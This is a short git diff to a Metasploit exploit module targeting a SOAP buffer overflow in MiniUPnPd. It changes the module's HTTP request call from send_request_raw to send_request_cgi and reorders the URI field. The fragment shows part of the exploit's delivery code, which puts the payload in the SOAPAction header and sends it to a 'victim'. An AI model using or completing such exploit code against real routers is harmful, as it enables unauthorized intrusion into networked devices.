diff --git a/modules/exploits/multi/upnp/miniupnpd_soap_bof.rb b/modules/exploits/multi/upnp/miniupnpd_soap_bof.rb index c6f5fa24ca..45868d6ce5 100644 --- a/modules/exploits/multi/upnp/miniupnpd_soap_bof.rb +++ b/modules/exploits/multi/upnp/miniupnpd_soap_bof.rb @@ -107,9 +107,9 @@ class Metasploit3 < Msf::Exploit::Remote # Build and send the HTTP request # print_status("Sending exploit to victim #{target.name} at ...") - send_request_raw({ - 'uri' => target_uri.path, + send_request_cgi({ 'method' => 'POST', + 'uri' => target_uri.path, 'headers' => { 'SOAPAction' => sploit, #'User-Agent' => 'Python-urllib/2.7',